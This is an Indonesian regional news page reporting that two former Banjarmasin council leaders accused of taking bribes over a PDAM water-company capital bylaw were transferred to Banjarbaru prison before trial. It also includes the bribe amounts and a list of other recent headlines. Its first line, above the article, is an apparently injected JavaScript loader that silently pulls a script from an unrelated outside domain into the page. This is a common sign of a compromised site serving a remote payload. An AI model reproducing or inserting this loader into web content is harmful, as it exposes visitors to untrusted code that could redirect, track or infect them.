(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Jelang Sidang, Iwan Rusmali dan Andi Effendi Dititip ke LP Banjarbaru


BANJARBARU, Jelang persidangan kasus korupsi PDAM untuk tersangka bekas Ketua DPRD Banjarmasin Iwan Rusmali dan Ketua Pansus Raperda Penyertaan Modal PDAM Bandarmasih Andi Effendi, KPK menitipkan keduanya ke LP Banjarbaru, Kamis (11/1) pukul 15.00 Wita.

Mengenakan rompi warna Orange yang khas tahanan KPK, keduanya menyaksikan penggeledahan barang bawaan yang dilakukan oleh petugas LP.

“Sore ini tiba dan diterima langsung oleh Kepala Keamanan dan Ketertiban LP Banjarbaru,” kata Kalapas Banjarbaru, Heriansyah.

Tahanan diserahkan oleh JPU KPK, M Asri Irwan bersama tim, lalu kemudian diterima Kalapas Banjarbaru. Sebelumnya keduanya ditahan di rutan Pomdam Jaya Guntur Jakarta.

“Hari ini kedua terdakwa resmi kita titipkan sebagai tahanan JPU KPK. Ini menandakan perkaranya akan segera dilimpahkan ke PN Tipikor Banjarmasin,” ungkap M Asri Irwan.

Dikatakannya, pelimpahan perkara akan dilakukan sesegera mungkin sebelum habis masa penahanan. “Masa penahanan maksimal 20 hari, sebelum waktu itu sudah kita limpahkan ke PN Tipikor Banjarmasin,” katanya.

Sebelumnya, Iwan Rusmali bersama bekas Dirut PDAM Muslih terkena operasi tangkap tangan (OTT) KPK saat transaksi suap usai pembahasan Raperda Penyertaan Modal. Pada sidang dengan terdakwa Muslih, sebelumnya terungkap keterangan bahwa Wakil Ketua Dewan sekaligus Ketua Pansus Raperda Penyertaan Modal PDAM Andi Effendi. Dimana persekongkolan dimulai saat Senin malam tanggal 3 September 2017, ketika Iwan Rusmali dan Andi Effendi mendatangi ke rumah dinas Muslih di Jalan S Parman Banjarmasin.

Iwan dan Andi menegosiasikan peran mereka sebagai ketua DPRD dan ketua pansus. Iwan meminta sejumlah uang kepada Muslih jika ingin raperda ini disetujui oleh DPRD Kota Banjarmasin. Muslih pun menyetujuinya, meski tak menyebut nilai yang akan diberikan.

Mungkin karena sudah tak sabar lagi, sehari setelah itu, Iwan Rusmali menelepon Muslih dan meminta uang sebesar Rp 5 juta untuk keperluannya. Iwan mengatakan, uang tersebut akan “dihitung” sebagai bagian dari uang yang akan diberikan dalam rangka persetujuan Raperda Penyertaan Modal kepada PDAM Bandarmasih. Dia pun lantas mengutus staf DPRD Kota Banjarmasin, Herry Eduwar untuk mengambil uang itu.

Permintaan Iwan langsung ditanggapi Muslih dengan menghubungi Manajer Keuangan PDAM Bandarmasih Trensis untuk menyerahkan uang sejumlah Rp 5 juta tersebut kepada Herry. Uang lima juta rupiah itu ternyata manjur karena pada malam harinya, tepatnya pukul 20.00 Wita, di ruang rapat Komisi II DPRD dilaksanakan rapat pertama Pansus Raperda Penyertaan Modal PDAM Bandarmasih yang dipimpin Ketua Pansus Andi Effendi.

Rapat berlangsung hingga pukul 23.00 Wita. Ketika itu hasil rapat diputuskan, penambahan penyertaan modal PDAM Bandarmasih  sebesar Rp 50.736.095.598,75. Dengan rincian, Rp 7.193.589.236,73,  laba yang disetor PDAM Bandarmasih pada tahun buku 2015, akan dicantumkan sebagai modal pada APBD Perubahan Kota Banjarmasin tahun 2017.

Sedangkan Rp 8.307.851.351,02, laba yang disetor PDAM Bandarmasih pada tahun buku 2016, akan dicantumkan sebagai modal pada APBD 2018. Dan dana sebesar Rp 4.231.868.658,00, berdasarkan proyeksi laba usaha PDAM Bandarmasih tahun 2017, akan dicantumkan sebagai modal pada APBD Perubahan 2018.

Selanjutnya, Rp 7.483.718.262,00, berdasarkan proyeksi laba usaha PDAM Bandarmasih tahun 2018, akan dicantumkan sebagai modal pada APBD Perubahan 2019. Rp 10.504.981.066,00, berdasarkan proyeksi laba usaha PDAM Bandarmasih tahun 2019, akan dicantumkan sebagai modal pada APBD Perubahan 2020, dan Rp 13.014.087.025,00, berdasarkan proyeksi laba usaha PDAM Bandarmasih tahun 2020, akan dicantumkan sebagai modal pada APBD Perubahan 2021.

Esoknya, Muslih yang mengikuti rapat dengan DPRD Kota Banjarmasin, bertemu Andi Effendi. Di sanalah akhirnya disepakati angka suap yang akan diberikan sebesar Rp 100 juta. Uang Rp 100 juta tersebut penyerahannya diangsur dalam dua tahap. Rp 50 juta diserahkan kepada Andi Effendi dan kemudian Rp 50 juta-nya lagi diserahkan melalui anggota pansus lainya.(devi/trb)

Reporter : Devi/trb
Editor : Chelll

Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

10 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

11 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

16 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

19 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.